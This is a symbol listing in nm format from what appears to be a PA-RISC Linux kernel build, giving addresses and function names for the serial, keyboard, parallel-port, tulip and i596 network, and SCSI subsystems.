1019666c T clear_selection
101966d4 T sel_loadlut
10196708 T set_selection
1019689c t .L843
101969d8 t .L805
10196b08 t .L864
10196b20 t .L865
10196b4c t .L866
10196b60 t .L867
10196b80 t .L868
10196d98 t .L869
10196da0 t .L870
10196df4 T paste_selection
10196f74 t serial_in
10196f90 t .L686
10196fb8 t .L692
10196fb8 t serial_out
10196fe4 t .L694
1019700c T serial_icr_write
1019700c t .L699
1019704c T serial_icr_read
101970b4 t rs_stop
10197104 t .L706
10197130 t .L708
10197130 t rs_start
10197178 t .L712
1019718c t .L713
101971b8 t .L716
101971c4 t .L717
101971c4 t rs_sched_event
10197294 t receive_chars
10197598 t transmit_chars
101975dc t .L770
10197624 t .L786
101976c8 t .L787
101976c8 t check_modem_status
10197764 t .L804
101977a8 t .L788
101977e4 t .L806
1019780c t .L807
1019780c t rs_interrupt
10197874 t .L816
10197918 t .L825
10197918 t rs_interrupt_single
101979e4 t do_serial_bh
10197a14 t do_softint
10197a84 t rs_timer
10197b38 t .L858
10197be4 t .L865
10197bec t figure_IRQ_timeout
10197c64 t enable_rsa
10197ce8 t disable_rsa
10197d68 t startup
10197e90 t .L899
101983b8 t .L963
101983f8 t shutdown
10198480 t .L969
101985e4 t .L983
1019861c t .L989
10198694 t .L990
1019869c t .L991
101986b4 t change_speed
101987b4 t .L1010
10198aa4 t .L1051
10198b2c t .L1078
10198c20 t .L1079
10198c58 t .L1080
10198c64 t .L1081
10198cc4 t rs_put_char
10198d20 t rs_flush_chars
10198d88 t rs_write
10198e14 t .L1103
10198ee8 t .L1118
10198f04 t .L1128
10198f60 t .L1135
10198f68 t .L1136
10198f70 t .L1137
10199014 t rs_write_room
1019902c t rs_chars_in_buffer
10199044 t rs_flush_buffer
101990a4 t rs_send_xchar
101990e8 t rs_throttle
10199158 t rs_unthrottle
10199184 t .L1164
101991d8 t .L1165
101991dc t get_serial_info
101992c4 t set_serial_info
101994e8 t .L1197
1019955c t .L1183
10199674 t .L1240
101996a0 t .L1241
10199780 t get_lsr_info
10199838 t get_modem_info
10199940 t set_modem_info
10199b04 t do_autoconfig
10199ba4 t rs_break
10199c10 t rs_ioctl
10199cac t .L1304
10199f4c t .L1423
10199f5c t .L1424
10199f68 t .L1425
10199f74 t .L1426
10199f7c t .L1427
10199fa4 t .L1428
1019a1dc t rs_set_termios
1019a254 t .L1429
1019a288 t .L1445
1019a340 t rs_close
1019a380 t .L1446
1019a540 t .L1471
1019a574 t rs_wait_until_sent
1019a6bc t rs_hangup
1019a6e4 t .L1497
1019a728 t .L1502
1019a728 t block_til_ready
1019a8b4 t .L1526
1019a8c8 t .L1527
1019a978 t .L1563
1019a9d0 t .L1564
1019aa5c t get_async_struct
1019abd8 t rs_open
1019ac80 t .L1580
1019ad14 t .L1595
1019ad30 t .L1598
1019ad74 t .L1612
1019adc0 t .L1613
1019adf0 t .L1614
1019adf8 T rs_read_proc
1019b088 t .L1662
1019b1a0 t .L1665
1019b1a4 t show_serial_version
1019b1f4 t detect_uart_irq
1019b348 t .L1672
1019b454 t .L1676
1019b454 t size_fifo
1019b638 t autoconfig_startech_uarts
1019b7d4 t autoconfig
1019b908 t .L1730
1019b970 t .L1739
1019b9f8 t .L1765
1019bae0 t .L1726
1019bb38 t .L1766
1019bb98 t .L1767
1019bcac t get_pci_port
1019be40 t get_pci_irq
1019be78 t serial_pci_guess_board
1019bf04 T register_serial
1019bfbc t .L1993
1019c13c t .L2003
1019c1b4 T unregister_serial
1019c264 t serial_console_write
1019c348 t .L2043
1019c444 t .L2067
1019c444 t serial_console_wait_key
1019c4d8 t serial_console_device
1019c4ec T keyboard_wait_for_keypress
1019c510 T to_utf8
1019c530 t .L701
1019c58c T setkeycode
1019c58c t .L705
1019c5b4 T getkeycode
1019c5dc T handle_scancode
1019c7a8 t .L727
1019c86c t .L708
1019c8d8 t .L755
1019c918 t .L756
1019c938 t .L757
1019ca08 T put_queue
1019cb40 t puts_queue
1019cc94 t applkey
1019ccdc t enter
1019cd34 t caps_toggle
1019cd68 t caps_on
1019cd98 t show_ptregs
1019cdc4 t hold
1019cdd8 t .L802
1019ce08 t .L809
1019ce10 t .L810
1019ce10 t num
1019ce38 t .L814
1019ce4c t .L815
1019ce4c t bare_num
1019ce80 t lastcons
1019cef8 t decr_console
1019cfbc t incr_console
1019d080 t send_intr
1019d18c t scroll_forw
1019d1a8 t scroll_back
1019d1c4 t boot_it
1019d1dc t compose
1019d1ec t spawn_console
1019d22c t SAK
1019d258 t do_ignore
1019d25c t do_null
1019d274 t do_spec
1019d2e8 t do_lowercase
1019d308 t do_self
1019d324 t .L877
1019d36c t .L882
1019d36c t do_dead
1019d398 t do_dead2
1019d3dc t handle_diacr
1019d470 t do_cons
1019d4f0 t do_fn
1019d504 t .L910
1019d52c t .L916
1019d52c t do_pad
1019d544 t .L917
1019d5c0 t .L970
1019d69c t .L971
1019d6b8 t .L972
1019d6c4 t .L973
1019d6dc t .L974
1019d6e0 t do_cur
1019d6f4 t .L975
1019d728 t .L979
1019d728 t do_shift
1019d7e8 t .L991
1019d800 t .L998
1019d854 T compute_shiftstate
1019d980 t do_meta
1019d994 t .L1023
1019d9c8 t .L1029
1019d9d8 t .L1030
1019d9d8 t do_ascii
1019da30 t do_lock
1019da6c t do_slock
1019db0c T getledstate
1019db18 T setledstate
1019dbac T register_leds
1019dc10 t kbd_bh
1019dd50 t write_output
1019dda0 t .L640
1019dddc t .L649
1019dddc t lasikbd_leds
1019de2c T lasi_ps2_reset
1019de88 t lasi_ps2_init_hw
1019dea0 t handle_lasikbd_event
1019deb4 t .L655
1019deec t .L667
1019df68 t lasikbd_interrupt
1019df94 T lasikbd_request_irq
1019dfe4 T pckbd_setkeycode
1019e034 T pckbd_getkeycode
1019e070 T pckbd_translate
1019e138 t .L694
1019e13c t .L708
1019e150 t .L711
1019e1a0 t .L712
1019e1e0 T kbd_reset_setup
1019e1e0 t .L713
1019e1e4 T handle_at_scancode
1019e244 t .L731
1019e2c4 t .L750
1019e3c0 t poll_finished
1019e3dc t .L613
1019e408 t .L618
1019e408 t hil_interrupt
1019e450 t .L628
1019e4c4 t .L641
1019e4f8 t hil_do
1019e5c4 t def_translate
1019e5d0 t def_unexpected_up
1019e5d8 t def_leds
1019e5dc t def_init_hw
1019e5e0 t send_sig_all
1019e678 T handle_sysrq
1019e938 t .L697
1019e970 t .L794
1019e984 t .L795
1019e9b4 t .L796
1019e9dc t .L797
1019e9f8 t .L798
1019ea08 t .L799
1019ea4c t .L800
1019eaa0 t .L801
1019eac0 t .L802
1019eae0 t .L803
1019eae4 t is_local_disk
1019ed2c t go_sync
1019ed84 t .L890
1019ee2c t .L914
1019ee8c t .L915
1019ee98 T do_emergency_sync
1019ef20 t .L926
1019ef6c t .L934
1019ef6c t lp_reset
1019f068 t lp_error
1019f0a0 t .L728
1019f0d4 t .L730
1019f0f4 t .L738
1019f134 t .L739
1019f13c t .L740
1019f13c t lp_check_status
1019f264 t lp_write
1019f3ec t .L791
1019f400 t .L799
1019f48c t .L782
1019f4ec t .L800
1019f50c t lp_open
1019f6ac t lp_release
1019f710 t lp_ioctl
1019f810 t .L826
1019f9a0 t .L872
1019fa50 t lp_register
1019fb54 t lp_attach
1019fb8c t .L902
1019fba8 t .L926
1019fc08 t lp_detach
1019fc0c t get_hw_time
1019ff44 t set_hw_time
101a003c t gen_do_uie_timer
101a0088 t gen_rtc_llseek
101a0094 t gen_rtc_read
101a0144 t .L719
101a01bc t .L778
101a01bc t gen_rtc_ioctl
101a02f4 t gen_rtc_open
101a0324 t gen_rtc_release
101a0364 T t21142_timer
101a03fc t .L895
101a0470 t .L916
101a04fc t .L908
101a05e4 t .L917
101a061c t .L918
101a0620 T t21142_start_nway
101a0744 t .L930
101a0774 t .L934
101a0794 T t21142_lnk_change
101a086c t .L962
101a0938 t .L994
101a096c t .L995
101a09e4 t .L996
101a0a94 t .L947
101a0ae0 t .L957
101a0b3c t .L997
101a0b74 t .L998
101a0b9c t .L999
101a0be4 T tulip_parse_eeprom
101a0c9c t .L891
101a0e64 t .L878
101a11bc t .L982
101a1218 t .L983
101a128c t .L984
101a12b0 T tulip_read_eeprom
101a1414 t tulip_refill_rx
101a1544 t tulip_rx
101a16b0 t .L904
101a18c4 t .L955
101a1994 T tulip_interrupt
101a2154 T tulip_mdio_read
101a2268 t .L878
101a22a4 t .L924
101a22c4 t .L925
101a22d0 t .L926
101a2328 T tulip_mdio_write
101a2424 t .L927
101a2460 t .L968
101a2484 t .L969
101a2494 t .L970
101a24c4 T tulip_select_media
101a25d8 t .L973
101a2610 t .L1045
101a278c t .L1127
101a298c t .L994
101a2a5c t .L1128
101a2ba4 t .L1129
101a2c84 t .L1071
101a2ca8 t .L1130
101a2cc0 t .L1131
101a2d34 t .L1132
101a2d6c t .L1133
101a2da0 t .L1134
101a2dc4 t .L1135
101a2e94 t .L1136
101a2e98 T tulip_check_duplex
101a30a0 T pnic_do_nway
101a3204 T pnic_lnk_change
101a3304 t .L901
101a3364 T pnic_timer
101a3364 t .L905
101a33d4 t .L909
101a34ec t .L935
101a3548 t .L918
101a35d4 t .L936
101a362c t .L937
101a3654 t .L938
101a3658 T tulip_timer
101a3940 t .L980
101a39a0 t .L1010
101a3b18 t .L1011
101a3bfc t .L1012
101a3cb8 t .L1013
101a3cbc T mxic_timer
101a3d24 T comet_timer
101a3dac t tulip_up
101a3f24 t .L910
101a4008 t .L917
101a40b0 t .L946
101a4304 t .L999
101a43e8 t .L1000
101a4450 t .L1001
101a4474 t .L1002
101a44cc t .L1003
101a4504 t .L1004
101a45d8 t tulip_open
101a4648 t tulip_tx_timeout
101a46ac t .L1015
101a46f8 t .L1020
101a482c t .L1048
101a4914 t .L1049
101a497c t .L1050
101a4980 t tulip_init_ring
101a4bd4 t tulip_start_xmit
101a4d20 t tulip_down
101a4d94 t .L1114
101a4e04 t .L1120
101a4e04 t tulip_close
101a4f30 t .L1126
101a4fac t .L1138
101a4ff4 t .L1150
101a4ffc t .L1151
101a4ffc t tulip_get_stats
101a504c t private_ioctl
101a52a8 t build_setup_frame_hash
101a5418 t build_setup_frame_perfect
101a54e4 t set_rx_mode
101a5564 t .L1274
101a56f0 t .L1336
101a571c t .L1303
101a58b4 t .L1337
101a58b4 t tulip_init_one
101a5940 t .L1339
101a5a80 t .L1368
101a5a9c t .L1353
101a5aac t .L1569
101a5c24 t .L1377
101a5fb4 t .L1480
101a615c t .L1494
101a6228 t .L1615
101a6284 t .L1616
101a63e8 t .L1617
101a6610 t .L1618
101a6620 t .L1619
101a6680 t .L1620
101a66c8 t .L1621
101a6708 t .L1622
101a6774 t .L1623
101a6784 t .L1624
101a679c t .L1625
101a679c t tulip_suspend
101a6818 t tulip_resume
101a6844 t .L1637
101a68e8 t .L1652
101a6920 t tulip_remove_one
101a69e0 t init_alloc_dev
101a6a5c t init_netdev
101a6b3c T init_etherdev
101a6b64 t eth_mac_addr
101a6ba0 t eth_change_mtu
101a6bbc T ether_setup
101a6c54 T ether_config
101a6cac T register_netdev
101a6d44 T unregister_netdev
101a6d70 t loopback_xmit
101a6ddc t .L1036
101a6e5c t .L1041
101a6e88 t .L1031
101a6e98 t .L1042
101a6eb4 t get_stats
101a6ebc t i596_display_data
101a7044 t .L1009
101a7064 t .L1017
101a7064 t rebuild_rx_bufs
101a7108 t .L1052
101a711c t .L1058
101a711c t init_i596_mem
101a7240 t .L1067
101a72c0 t .L1074
101a7310 t .L1075
101a73f4 t .L1084
101a743c t .L1088
101a7484 t .L1092
101a74bc t .L1096
101a74d8 t .L1101
101a7528 t .L1102
101a7594 t .L1112
101a75b4 t .L1118
101a7604 t .L1119
101a7680 t .L1155
101a768c t .L1156
101a7698 t .L1157
101a76d0 t .L1158
101a76dc t .L1159
101a76ec t .L1160
101a76fc t .L1161
101a770c t .L1162
101a7718 t .L1163
101a7748 t .L1164
101a7754 t .L1165
101a7778 t .L1166
101a7778 t i596_add_cmd
101a7818 t .L1337
101a7850 t .L1345
101a78cc t .L1363
101a7920 t .L1364
101a7938 t .L1369
101a7968 t .L1371
101a7984 t .L1372
101a79d8 t .L1373
101a79f0 t .L1378
101a7a48 t .L1379
101a7a5c t .L1389
101a7ab0 t .L1390
101a7ac8 t .L1395
101a7ae0 t .L1396
101a7b10 t .L1398
101a7b4c t .L1402
101a7cac t .L1361
101a7cbc t .L1415
101a7d14 t .L1426
101a7d54 t .L1428
101a7d60 t .L1399
101a7df4 t .L1471
101a7e1c t .L1472
101a7e28 t .L1473
101a7eb0 t .L1474
101a7edc t .L1475
101a7fec t .L1476
101a7ffc t .L1477
101a8008 t .L1478
101a8030 t .L1479
101a803c t .L1480
101a804c t .L1481
101a8054 t .L1482
101a80a0 t .L1386
101a80d0 t .L1483
101a80f8 t .L1484
101a8104 t .L1485
101a8110 t .L1486
101a811c t .L1487
101a8144 t .L1488
101a8150 t .L1489
101a815c t .L1490
101a816c t .L1491
101a817c t .L1346
101a81d0 t .L1347
101a81e8 t .L1353
101a8214 t .L1354
101a8228 t .L1492
101a8234 t .L1493
101a825c t .L1494
101a8268 t .L1495
101a8274 t .L1496
101a8280 t .L1497
101a8280 t i596_open
101a8304 t .L1524
101a8528 t .L1512
101a85b4 t .L1521
101a85c8 t .L1529
101a85d8 t .L1530
101a861c t .L1531
101a8628 t i596_tx_timeout
101a86e4 t .L1609
101a8700 t .L1607
101a87dc t .L1649
101a8820 t .L1538
101a8878 t .L1539
101a8890 t .L1544
101a88c4 t .L1546
101a88e0 t .L1547
101a8938 t .L1548
101a8950 t .L1553
101a89a8 t .L1554
101a89bc t .L1564
101a8a14 t .L1565
101a8a2c t .L1570
101a8a44 t .L1571
101a8a74 t .L1573
101a8ab0 t .L1577
101a8c14 t .L1536
101a8c24 t .L1590
101a8c7c t .L1601
101a8cbc t .L1603
101a8cc8 t .L1574
101a8d10 t .L1650
101a8d20 t .L1651
101a8d48 t .L1652
101a8d54 t .L1653
101a8ddc t .L1654
101a8e08 t .L1655
101a8f18 t .L1656
101a8f28 t .L1657
101a8f34 t .L1658
101a8f5c t .L1659
101a8f68 t .L1660
101a8f78 t .L1661
101a8f80 t .L1662
101a8fcc t .L1561
101a8ffc t .L1663
101a9024 t .L1664
101a9030 t .L1665
101a903c t .L1666
101a9048 t .L1667
101a9070 t .L1668
101a907c t .L1669
101a9088 t .L1670
101a9088 t i596_start_xmit
101a917c t .L1680
101a91cc t .L1693
101a9278 t .L1686
101a92c4 t .L1694
101a92cc t print_eth
101a9374 t i596_interrupt
101a93e0 t .L1752
101a9434 t .L1753
101a944c t .L1759
101a955c t .L1777
101a9570 t .L1801
101a9590 t .L1922
101a95c0 t .L1923
101a9620 t .L1924
101a9770 t .L1805
101a97b4 t .L1764
101a9818 t .L1822
101a9854 t .L1826
101a99b4 t .L1820
101a99c4 t .L1839
101a9a1c t .L1850
101a9a5c t .L1852
101a9a68 t .L1823
101a9af4 t .L1861
101a9b48 t .L1862
101a9b60 t .L1868
101a9b74 t .L1869
101a9b90 t .L1872
101a9be4 t .L1873
101a9bfc t .L1879
101a9c14 t .L1750
101a9c84 t .L1925
101a9c90 t .L1926
101a9c9c t .L1927
101a9ca8 t .L1928
101a9ccc t .L1929
101a9cd8 t .L1930
101a9ce4 t .L1931
101a9cf4 t .L1932
101a9d1c t .L1933
101a9d28 t .L1934
101a9db0 t .L1935
101a9ddc t .L1936
101a9eec t .L1937
101a9efc t .L1938
101a9f0c t .L1939
101a9f14 t .L1940
101a9f40 t .L1941
101a9f64 t .L1942
101a9f70 t .L1943
101a9f80 t .L1944
101a9f94 t .L1945
101a9f98 t i596_close
101aa01c t .L1949
101aa070 t .L1950
101aa088 t .L1956
101aa0a0 t .L1957
101aa0bc t .L1960
101aa110 t .L1961
101aa128 t .L1967
101aa190 t .L1969
101aa1a4 t .L1979
101aa1f8 t .L1980
101aa210 t .L1985
101aa224 t .L1986
101aa2b4 t .L1992
101aa318 t .L2015
101aa324 t .L2016
101aa34c t .L2017
101aa358 t .L2018
101aa368 t .L2019
101aa370 t .L2020
101aa3bc t .L1976
101aa3ec t .L2021
101aa414 t .L2022
101aa420 t .L2023
101aa42c t .L2024
101aa438 t .L2025
101aa460 t .L2026
101aa46c t .L2027
101aa478 t .L2028
101aa478 t i596_get_stats
101aa484 t set_multicast_list
101aa55c t .L2040
101aa658 t .L2055
101aa694 t .L2069
101aa6ac t .L2043
101aa6bc t .L2070
101aa6cc t .L2071
101aa728 T autoirq_setup
101aa748 T autoirq_report
101aa788 t dead_write_lines
101aa78c t dead_read_lines
101aa794 t dead_frob_lines
101aa79c t dead_onearg
101aa7a0 t dead_initstate
101aa7a4 t dead_state
101aa7a8 t dead_noargs
101aa7ac t dead_write
101aa7b4 t dead_read
101aa7bc t attach_driver_chain
101aa884 t .L695
101aa8ac t .L720
101aa8b0 t detach_driver_chain
101aa8f8 t get_lowlevel_driver
101aa8fc T parport_register_driver
101aa92c t .L733
101aa9cc t .L741
101aaa10 t .L762
101aaa18 T parport_unregister_driver
101aaa18 t .L763
101aaaa8 t free_port
101aab74 T parport_get_port
101aab98 T parport_put_port
101aabc4 t .L798
101aabd8 T parport_enumerate
101aabd8 t .L802
101aabec t .L804
101aac04 T parport_register_port
101aac04 t .L806
101aae18 T parport_announce_port
101aae30 T parport_unregister_port
101aae8c t .L853
101aaec0 t .L856
101aaed8 T parport_register_device
101aaf28 t .L873
101aaf7c t .L874
101ab02c t .L864
101ab034 t .L862
101ab058 t .L875
101ab0f4 t .L876
101ab10c t .L877
101ab110 T parport_unregister_device
101ab13c t .L879
101ab1d0 T parport_find_number
101ab1d0 t .L886
101ab210 T parport_find_base
101ab250 T parport_claim
101ab3fc T parport_claim_or_block
101ab460 T parport_release
101ab4a0 t .L946
101ab514 t .L955
101ab5ac t .L978
101ab5d4 t .L979
101ab5d8 t parport_parse_params
101ab73c T parport_parse_irqs
101ab764 T parport_parse_dmas
101ab790 T parport_ieee1284_wakeup
101ab7b8 t .L686
101ab7d0 t .L688
101ab7d4 t timeout_waiting_on_port
101ab7fc T parport_wait_event
101ab8f0 T parport_poll_peripheral
101ab9dc T parport_wait_peripheral
101abaf4 t .L716
101abb18 t .L735
101abb20 T parport_negotiate
101abb54 T parport_ieee1284_interrupt
101abb70 T parport_write
101abb9c T parport_read
101abbc0 T parport_set_timeout
101abbe8 t .L742
101abc00 T parport_ieee1284_write_compat
101abc00 t .L744
101abd48 t .L682
101abdbc t .L716
101abee0 t .L673
101abf14 t .L705
101abf34 t .L717
101abf48 T parport_ieee1284_read_nibble
101abf48 t .L718
101abf50 T parport_ieee1284_read_byte
101abf58 T parport_ieee1284_ecp_write_data
101abf60 T parport_ieee1284_ecp_read_data
101abf68 T parport_ieee1284_ecp_write_addr
101abf70 T parport_ieee1284_epp_write_data
101ac090 T parport_ieee1284_epp_read_data
101ac1a8 T parport_ieee1284_epp_write_addr
101ac2c8 T parport_ieee1284_epp_read_addr
101ac3e0 T inc_parport_count
101ac3e4 T dec_parport_count
101ac3e8 t do_active_device
101ac520 t do_hardware_base_addr
101ac5f0 t do_hardware_irq
101ac6bc t do_hardware_dma
101ac788 t do_hardware_modes
101ac9ec T parport_proc_register
101acaf0 T parport_proc_unregister
101acb24 T parport_device_proc_register
101acc08 T parport_device_proc_unregister
101acc3c T parport_default_proc_register
101acc6c T parport_default_proc_unregister
101acca4 t clear_epp_timeout
101acd3c t parport_gsc_interrupt
101acd98 T parport_gsc_init_state
101acdb0 T parport_gsc_save_state
101acdd8 T parport_gsc_restore_state
101ace00 T parport_gsc_inc_use_count
101ace04 T parport_gsc_dec_use_count
101ace08 t parport_SPP_supported
101acf00 t parport_PS2_supported
101acffc T parport_gsc_probe_port
101ad3dc T parport_gsc_write_data
101ad404 T parport_gsc_read_data
101ad420 T parport_gsc_data_reverse
101ad468 T parport_gsc_data_forward
101ad4b0 T parport_gsc_write_control
101ad54c T parport_gsc_read_control
101ad560 T parport_gsc_frob_control
101ad638 T parport_gsc_read_status
101ad658 T parport_gsc_disable_irq
101ad6a0 T parport_gsc_enable_irq
101ad6e8 T scsi_initialize_queue
101ad72c t scsi_wait_done
101ad764 t .L888
101ad77c t .L891
101ad780 T scsi_allocate_request
101ad7fc T scsi_release_request
101ad834 T scsi_allocate_device
101adac8 T scsi_release_command
101adbb8 t .L974
101adbc8 t .L977
101adbcc T scsi_dispatch_cmd
101adc50 t .L992
101add2c t .L1008
101add44 t .L1015
101add5c t .L1016
101addd8 T scsi_wait_req
101ade74 t .L1019
101adeb0 T scsi_do_req
101adeb0 t .L1021
101adfb0 T scsi_init_cmd_from_req
101ae11c T scsi_do_cmd
101ae254 T scsi_done
101ae358 T scsi_bottom_half_handler
101ae414 t .L1062
101ae43c t .L1073
101ae44c t .L1084
101ae454 t .L1085
101ae45c t .L1086
101ae474 t .L1087
101ae480 t .L1088
101ae4a0 T scsi_retry_command
101ae518 T scsi_finish_command
101ae5e8 T scsi_release_commandblocks
101ae644 T scsi_build_commandblocks
101ae7a0 t scsi_proc_info
101ae8f0 t proc_scsi_gen_write
101ae9b4 t .L1174
101ae9e4 t .L1175
101aeb7c t .L1237
101aeca4 t .L1238
101aeca4 t scsi_register_host
101aecd8 t .L1241
101aedac t .L1261
101aee54 t .L1299
101aee88 t .L1323
101aee94 t .L1338
101aee9c t .L1339
101aef48 t .L1340
101aefc0 t .L1257
101aefd4 t .L1341
101aefec t .L1342
101af00c t .L1343
101af01c t scsi_unregister_host
101af160 t .L1446
101af194 t .L1344
101af1f0 t .L1512
101af204 t .L1513
101af23c t .L1440
101af244 t .L1444
101af260 t .L1514
101af2a8 t .L1515
101af364 t .L1421
101af378 t .L1516
101af3cc t .L1517
101af4bc t .L1518
101af4f8 t scsi_register_device_module
101af674 t scsi_unregister_device
101af6e8 t .L1575
101af754 T scsi_register_module
101af754 t .L1598
101af798 t .L1599
101af7ac T scsi_unregister_module
101af7ac t .L1612
101af7ec t .L1613
101af800 t .L1626
101af800 t scsi_dump_status
101af804 T scsi_get_host_dev
101af8ac T scsi_free_host_dev
101af8fc T __scsi_release_command
101af9d4 t .L965
101af9e4 t .L1676
101af9e8 T scsi_unregister
101afb08 T scsi_register
101afe74 T scsi_register_device
101afeb4 t ioctl_probe
101aff88 t ioctl_internal_command
101b0044 t .L891
101b0094 t .L893
101b00d8 t .L894
101b00e8 T scsi_ioctl_send_command
101b03a8 T scsi_ioctl
101b0434 t .L990
101b04c4 t .L1101
101b0548 t .L1102
101b05b0 t .L1103
101b074c t .L1104
101b07ec t .L1105
101b07f0 T kernel_scsi_ioctl
101b0830 t print_opcode
101b0854 T print_command
101b08d4 T print_status
101b08fc t print_sense_internal
101b0984 t .L853
101b0a04 t .L842
101b0b00 t .L869
101b0b1c T print_sense
101b0b1c t .L870
101b0b3c T print_req_sense
101b0b5c T print_msg
101b0b9c t .L880
101b0bf8 t .L891
101b0c04 t .L892
101b0c38 T print_Scsi_Cmnd
101b0c84 T print_hostbyte
101b0cac T print_driverbyte
101b0cd4 T scsicam_bios_param
101b0e44 T scsi_partsize
101b1048 t setsize
101b1130 T generic_proc_info
101b11a8 t .L833
101b11f4 t .L834
101b11f8 t proc_scsi_read
101b122c t .L837
101b125c t .L839
101b1260 t proc_scsi_write
101b1330 T build_proc_dir_entries
101b1418 T parseInit
101b1500 T parseOpt
101b1738 T proc_print_scsidevice
101b17e0 t .L976
101b1838 t .L975
101b1890 t .L974
101b1978 t .L977
101b1988 t .L978
101b1998 t .L979
101b199c T parseFree
101b19c8 T scsi_add_timer
101b1a44 T scsi_delete_timer
101b1a6c T scsi_times_out
101b1afc t .L886
101b1b10 t .L891
101b1b28 T scsi_block_when_processing_errors
101b1bbc t .L895
101b1be8 t .L906
101b1c34 T scsi_eh_times_out
101b1c70 t .L910
101b1c74 t .L911
101b1c88 t .L913
101b1c90 T scsi_eh_done
101b1c90 t .L914
101b1cec t .L919
101b1d04 t .L923
101b1d14 T scsi_eh_action_done
101b1d64 t .L929
101b1d7c t .L933
101b1d88 T scsi_sense_valid
101b1d9c T scsi_eh_retry_command
101b1e08 T scsi_request_sense
101b1ef8 t .L941
101b1f84 t .L945
101b1f9c t scsi_request_sense
101b205c T scsi_test_unit_ready
101b214c t .L950
101b21d8 t .L954
101b21f0 T scsi_sleep_done
101b2214 t .L958
101b222c t .L960
101b2230 T scsi_sleep
101b22d4 t .L963
101b22fc T scsi_send_eh_cmnd
101b22fc t .L964
101b23e8 t .L972
101b24b8 t .L999
101b24fc T scsi_unit_is_ready
101b2564 T scsi_eh_finish_command
101b2594 T scsi_try_to_abort_command
101b25fc T scsi_try_bus_device_reset
101b2674 T scsi_try_bus_reset
101b2744 T scsi_try_host_reset
101b2804 T scsi_decide_disposition
101b28a8 t .L1057
101b2a08 t .L1130
101b2a14 T scsi_eh_completed_normally
101b2a38 t .L1131
101b2b74 t .L1175
101b2b78 T scsi_check_sense
101b2c78 T scsi_restart_operations
101b2d10 T scsi_unjam_host
101b2da0 t .L1248
101b2e0c t .L1279
101b2e80 t .L1290
101b2ea0 t .L1308
101b2ef8 t .L1350
101b30cc t .L1364
101b3130 t .L1463
101b318c t .L1464
101b3210 t .L1334
101b3294 t .L1465
101b3324 t .L1466
101b3380 t .L1467
101b3424 t .L1468
101b3468 t .L1253
101b34a0 t .L1469
101b34b8 t .L1470
101b34c4 T scsi_error_handler
101b3584 t .L1483
101b3588 t .L1486
101b35a0 t .L1488
101b35f8 t .L1499
101b3620 t .L1503
101b3644 t .L1495
101b365c t .L1504
101b3668 t .L1505
101b3670 t .L1506
101b3678 t .L1507
101b3690 T scsi_old_times_out
101b3774 t .L876
101b37e0 t .L887
101b37e0 t check_sense
101b38e4 T scsi_old_done
101b3a1c t .L937
101b3c18 t .L1089
101b3d30 t .L1090
101b3d84 t .L1038
101b3d94 t .L1091
101b3dd4 t .L1092
101b3ec0 t .L1093
101b3f14 t scsi_abort
101b40c0 t .L1141
101b40e0 t .L1142
101b4124 t .L1129
101b412c T scsi_mark_host_reset
101b4168 t scsi_mark_bus_reset
101b41b0 t scsi_reset
101b4378 t .L1211
101b43c8 t .L1275
101b4418 t .L1261
101b4430 t .L1276
101b4448 t .L1277
101b446c t .L1223
101b4514 t .L1246
101b453c t .L1278
101b4550 t .L1279
101b45f4 T update_timeout
101b4634 t .L1285
101b464c t .L1287
101b4650 T scsi_mlqueue_insert
101b474c T scsi_insert_special_cmd
101b47e0 T scsi_insert_special_req
101b4870 T scsi_init_cmd_errh
101b4934 T scsi_queue_next_request
101b4ab4 t __scsi_end_request
101b4aec t .L930
101b4bfc t .L942
101b4c3c t .L948
101b4c5c T scsi_end_request
101b4c5c t .L949
101b4c7c t scsi_release_buffers
101b4ce4 t .L959
101b4d20 T scsi_io_completion
101b4d20 t .L964
101b4da0 t .L972
101b4dc4 t .L974
101b4e14 t .L965
101b4f74 t .L1020
101b5008 t .L1021
101b5018 t .L1022
101b5028 t .L1023
101b5050 t .L1024
101b5068 T scsi_get_request_dev
101b50c0 T scsi_request_fn
101b5204 t .L1060
101b53c0 t .L1096
101b5414 T scsi_block_requests
101b5424 T scsi_unblock_requests
101b5434 T scsi_report_bus_reset
101b5464 T scsi_register_blocked_host
101b5468 T scsi_deregister_blocked_host
101b546c t dma_exhausted
101b5540 T recount_segments
101b563c t scsi_back_merge_fn_
101b56ec t scsi_back_merge_fn_c
101b57a4 t scsi_back_merge_fn_dc
101b5954 t scsi_front_merge_fn_
101b5a04 t scsi_front_merge_fn_c
101b5abc t scsi_front_merge_fn_dc
101b5c98 t scsi_merge_requests_fn_
101b5d44 t scsi_merge_requests_fn_c
101b5e34 t scsi_merge_requests_fn_dc
101b6130 t scsi_init_io_v
101b624c t scsi_init_io_vd
101b6278 t .L1533
101b638c t .L1536
101b63a0 t scsi_init_io_vc
101b6510 t scsi_init_io_vdc
101b653c t .L1641
101b66d8 t .L1644
101b66ec T initialize_merge_fn
101b6808 T scsi_malloc
101b68ec T scsi_free
101b69e4 T scsi_resize_dma_pool
101b6b20 t .L871
101b6bac t .L921
101b6c24 t .L968
101b6d38 t .L969
101b6e2c T scsi_init_minimal_dma_pool
101b6f74 t print_inquiry
101b6fd0 t .L835
101b7018 t .L842
101b7068 t .L849
101b70d0 t .L857
101b7110 t .L865
101b7120 t .L866
101b7128 t .L867
101b7130 t .L868
101b7130 t get_device_flags
101b7240 T scan_scsis
101b7430 t .L990
101b760c t .L920
101b7660 t .L1005
101b767c t .L1006
101b7680 t scan_scsis_single
101b7784 t .L1066
101b7934 t .L1014
101b7c14 t .L1089
101b7c74 t .L1090
101b7c90 t ___m_alloc
101b7d84 t ___m_alloc
101b7e78 t ___m_free
101b7f2c t ___m_free
101b7fe0 t __m_calloc2
101b8048 t .L913
101b8080 t .L916
101b8080 t __m_calloc2
101b80e8 t .L913
101b8120 t .L916
101b8120 t __m_free
101b8184 t __m_free
101b81e8 t ___mp0_getp
101b8220 t ___mp0_getp
101b8258 t ___mp0_freep
101b8288 t ___mp0_freep
101b82b8 t m_calloc
101b82ec t m_calloc
101b8320 t m_free
101b8358 t m_free
101b8390 t ___dma_getp
101b8468 t ___dma_getp
101b8540 t ___dma_freep
101b85e0 t ___dma_freep
101b8680 t ___cre_dma_pool
101b8714 t ___cre_dma_pool
101b87a8 t ___del_dma_pool
101b8800 t ___del_dma_pool
101b8858 t __m_calloc_dma
101b88c4 t .L970
101b88f0 t .L976
101b8908 t __m_calloc_dma
101b8974 t .L970
101b89a0 t .L976
101b89b8 t __m_free_dma
101b89f4 t .L986
101b8a14 t .L989
101b8a14 t __m_free_dma
101b8a50 t .L986
101b8a70 t .L989
101b8a70 t __vtobus
101b8ad8 t __vtobus
101b8b40 t __unmap_scsi_data
